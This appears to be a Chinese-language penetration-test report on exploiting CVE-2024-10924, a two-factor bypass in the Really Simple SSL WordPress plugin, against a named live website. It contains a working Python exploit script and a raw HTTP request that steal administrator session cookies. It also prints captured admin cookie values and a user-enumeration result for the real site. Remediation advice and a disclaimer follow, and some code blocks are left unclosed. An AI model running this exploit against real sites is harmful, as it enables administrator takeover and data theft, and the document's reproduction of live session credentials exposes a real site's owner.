**主要发现：**
- 使用最新版本的现代 WordPress 安装
- 使用 nginx 的专业托管设置
- 自定义品牌（"PoweredBy[Skior]"）
- 正在使用 Elementor 页面构建器
- 地理位置：美国

### 步骤 2：用户枚举

#### A. WordPress 作者枚举```bash
└─$ curl -I https://skior.co/?author=1
HTTP/1.1 301 Moved Permanently
Server: nginx/1.26.0 (Ubuntu)
Date: Wed, 25 Jun 2025 18:12:15 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.2.28
X-Redirect-By: WordPress
Location: https://skior.co/author/pastor/

#### C. 用户名枚举结果

| 用户 ID | 用户名 | 状态 | 重定向 URL |
|---------|----------|--------|--------------|
| 1 | pastor | ✅ 已找到 | `/author/pastor/` |
| 2-10 | N/A | ❌ 未找到 | 404 响应 |

### 步骤 3：漏洞扫描

#### A. WPScan 全面分析```bash
└─$ wpscan --url https://skior.co --api-token my-api-key

**发现的自定义端点：**```
/reallysimplessl/v1/two_fa
/reallysimplessl/v1/two_fa/skip_onboarding
/reallysimplessl/v1/two_fa/do_not_ask_again
/reallysimplessl/v1/two_fa/resend_email_code
/reallysimplessl/v1/two_fa/save_default_method_email
/reallysimplessl/v1/two_fa/save_default_method_email_profile
/reallysimplessl/v1/two_fa/save_default_method_totp
/reallysimplessl/v1/two_fa/validate_email_setup

// No validation of login_nonce parameter
// This allows any value to be accepted

return $user; // Returns user object without verification

#### 受影响的端点

以下 REST API 端点存在漏洞：
- `/reallysimplessl/v1/two_fa/skip_onboarding`
- `/reallysimplessl/v1/two_fa/do_not_ask_again`
- `/reallysimplessl/v1/two_fa/resend_email_code`

#### 漏洞条件

要使此漏洞可利用，需满足以下条件：
- ✅ 必须安装并激活 Really Simple SSL 插件
- ✅ 必须启用双因素认证设置（默认禁用）
- ✅ 系统上必须至少存在一个用户账户
- ✅ REST API 必须可访问（WordPress 默认设置）

---

## 🔄 攻击流程```mermaid
graph TD
    A[Initial Reconnaissance] --> B[Technology Stack Identification]
    B --> C[User Enumeration]
    C --> D[Vulnerability Scanning]
    D --> E[REST API Enumeration]
    E --> F[Discovery of Really Simple SSL Endpoints]
    F --> G[External Research]
    G --> H[Identification of CVE-2024-10924]
    H --> I[Manual Testing]
    I --> J[Exploit Development]
    J --> K[Successful Exploitation]
    K --> L[Admin Access Obtained]
    L --> M[Impact Assessment]
    
    style A fill:#e1f5fe
    style F fill:#fff3e0
    style H fill:#ffebee
    style K fill:#e8f5e8
    style L fill:#f3e5f5

#### B. Python 漏洞利用脚本```python
import requests
import urllib.parse
import sys

if len(sys.argv) != 2:
    print("Usage: python exploit.py <user_id>")
    sys.exit(1)

user_id = sys.argv[1]

url = "https://skior.co/?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding"
data = {
    "user_id": int(user_id),  # User ID from the argument
    "login_nonce": "invalid_nonce",  # Arbitrary value
    "redirect_to": "/wp-admin/"  # Target redirection
}

# Sending the POST request
response = requests.post(url, json=data)

# Checking the response
if response.status_code == 200:
    print("Request successful!\n")
    
    # Extracting cookies
    cookies = response.cookies.get_dict()
    count = 1

    for name, value in cookies.items():
        decoded_value = urllib.parse.unquote(value)  # Decode the URL-encoded cookie value
        print(f"Cookie {count}:")
        print(f"Cookie Name: {name}")
        print(f"Cookie Value: {decoded_value}\n")
        count += 1
else:
    print("Request failed!")
    print(f"Status Code: {response.status_code}")
    print(f"Response Text: {response.text}")

#### Cookie 操纵过程
![Cookie 操纵过程](https://assets.kitploit.com/production/public/readmes/22186/4cbfbcc90655666664a94a59188e5860adacf05380043463e4ed4b96e43431e1.png)

*以上：截图展示了使用浏览器开发者工具添加捕获的 WordPress 会话 Cookie 的 Cookie 操纵过程。*

#### 成功获取管理员访问权限
![管理员仪表盘访问](https://assets.kitploit.com/production/public/readmes/22186/6347bffa34742b8516c14617243c7acddf7175756d4e4fb3b9476737f848e7f8.png)

*以上：截图确认在利用 2FA 绕过漏洞后成功获得 WordPress 仪表盘的管理员访问权限。*

#### Cookie 分析

**WordPress 安全 Cookie：**
- **名称：** `wordpress_sec_dc22060175d35fce22f69728c6799c9d`
- **值：** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`
- **组成部分：**
  - 用户名：`pastor`
  - 过期时间：`1752234264`（Unix 时间戳）
  - Nonce：`GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH`
  - 哈希值：`cd9de8d81354945bcc7d1f8c24171e72e1ea9c3aca9cede2f0a5d3c8b4b0d7da`

**WordPress 登录状态 Cookie：**
- **名称：** `wordpress_logged_in_dc22060175d35fce22f69728c6799c9d`
- **值：** `pastor|1752234264|GYT43JG8oGJe10WlG2matBQqB4lNSUXtK6G0OK2qLxH|84d983de3f7dec21c11d48faf1022cd040107b36d75e39a3c1c9fa58ca3b5144`

---

## 🎯 影响评估

### 即时影响

1. **完全入侵站点**
   - 获得 WordPress 仪表盘的管理员访问权限
   - 能够修改站点内容、主题和插件
   - 可访问用户管理和设置

2. **数据泄露**
   - 可访问所有用户账户和资料
   - 可查看数据库内容
   - 可访问配置文件

3. **权限提升**
   - 绕过所有身份验证控制
   - 规避 2FA 安全措施
   - 能够冒充任何用户

### 潜在攻击场景

1. **内容篡改**
   - 篡改网站内容
   - 注入恶意代码
   - 创建后门

2. **数据窃取**
   - 提取用户信息
   - 访问敏感内容
   - 下载数据库备份

3. **持久化**
   - 安装恶意插件
   - 创建隐藏的管理员账户
   - 建立命令与控制

### 风险评分：**严重（9.8/10）**

| 因素 | 分数 | 理由 |
|--------|-------|---------------|
| **访问复杂度** | 低（1.0） | 简单的 HTTP 请求 |
| **身份验证** | 无（0.0） | 无需身份验证 |
| **完整性影响** | 高（1.0） | 完全系统失陷 |
| **机密性影响** | 高（1.0） | 完全数据访问 |
| **可用性影响** | 高（1.0） | 可禁用站点 |

### 业务影响分析

| 影响类别 | 严重程度 | 描述 |
|----------------|----------|-------------|
| **财务** | 高 | 潜在收入损失、法律成本 |
| **声誉** | 严重 | 品牌受损、客户信任流失 |
| **运营** | 高 | 服务中断、数据丢失 |
| **合规** | 高 | 违反法规、审计失败 |

---

## 🛡️ 修复措施

### 立即行动（0-24 小时）

1. **禁用 Really Simple SSL 插件**   ```bash
   # Via wp-cli (if available)
   wp plugin deactivate really-simple-ssl
   
   # Or manually rename plugin directory
   mv wp-content/plugins/really-simple-ssl wp-content/plugins/really-simple-ssl.disabled

### 替代 SSL 解决方案

| 解决方案 | 优点 | 缺点 | 建议 |
|----------|------|------|----------------|
| **Let's Encrypt** | 免费、自动化 | 需要手动设置 | ✅ 推荐 |
| **Cloudflare** | 设置简单、DDoS 防护 | 需要更改 DNS | ✅ 良好选择 |
| **主机提供商 SSL** | 集成度高 | 可能有局限性 | ⚠️ 请查看功能 |
| **手动 SSL** | 完全可控 | 设置复杂 | ❌ 不推荐 |

---

## 🛠️ 使用工具

### 侦察工具
- **Wappalyzer** - 技术栈识别
- **WhatWeb** - Web 应用指纹识别
- **WPScan** - WordPress 漏洞扫描
- **curl** - 手动 API 测试

### 漏洞利用工具
- **Python 3** - 漏洞利用开发
- **requests** - HTTP 客户端库
- **urllib.parse** - URL 编码/解码

### 分析工具
- **jq** - JSON 处理
- **grep** - 文本模式匹配
- **bash** - 命令行自动化

---

## 📚 参考资料

### 漏洞信息
- [CVE-2024-10924](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-10924)
- [WordPress 插件安全](https://wordpress.org/plugins/security/)
- [Really Simple SSL 插件](https://wordpress.org/plugins/really-simple-ssl/)

### 技术文档
- [WordPress REST API 手册](https://developer.wordpress.org/rest-api/)
- [WordPress 安全最佳实践](https://wordpress.org/support/article/hardening-wordpress/)
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)

### 工具与资源
- [WPScan](https://wpscan.com/)
- [WhatWeb](https://github.com/urbanadventurer/WhatWeb)
- [Wappalyzer](https://www.wappalyzer.com/)

### 相关 CVE
- CVE-2024-10924 - Really Simple SSL 中的 2FA 绕过
- CVE-2023-28121 - WordPress 核心 XSS
- CVE-2023-28122 - WordPress 核心 CSRF

### 行业标准
- [OWASP 测试指南](https://owasp.org/www-project-web-security-testing-guide/)
- [NIST 网络安全框架](https://www.nist.gov/cyberframework)
- [ISO 27001](https://www.iso.org/isoiec-27001-information-security.html)

---

## 📄 法律声明

本渗透测试报告仅用于教育和经授权的安全评估目的。所述技术和工具只能用于您拥有或获得明确测试许可的系统。未经授权的测试可能违反法律法规。

**负责任披露：** 此漏洞已报告给插件开发者和 WordPress 安全团队。

**免责声明：** 本报告提供的信息基于测试时进行的评估。安全形势瞬息万变，可能存在本次评估中未被发现的额外漏洞。

---

## 📋 附录

### 附录 A：原始 HTTP 请求

#### 成功利用请求```http
POST /?rest_route=/reallysimplessl/v1/two_fa/skip_onboarding HTTP/1.1
Host: skior.co
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36

{
  "user_id": 1,
  "login_nonce": "invalid_nonce",
  "redirect_to": "/wp-admin/"
}

### 附录 B：安全检查清单

#### 利用前
- [ ] 目标识别与范围界定
- [ ] 已获得法律授权
- [ ] 测试环境已就绪
- [ ] 工具和脚本已验证

#### 利用过程中
- [ ] 漏洞已手动确认
- [ ] 漏洞利用代码已开发并测试
- [ ] 影响已限制在授权范围内
- [ ] 证据已被完整记录

#### 利用后
- [ ] 所有访问权限已移除
- [ ] 证据已保留
- [ ] 报告已生成
- [ ] 已提供修复建议

### 附录 C：术语表

| 术语 | 定义 |
|------|------------|
| **2FA** | 双因素认证 |
| **CVSS** | 通用漏洞评分系统 |
| **REST API** | 表述性状态转移应用程序编程接口 |
| **WAF** | Web 应用防火墙 |
| **XSS** | 跨站脚本攻击 |
| **CSRF** | 跨站请求伪造 |

---

*报告生成日期：2025-06-25*  
*安全研究员*  
*版本：2.1*  
*最后更新日期：2025-06-25*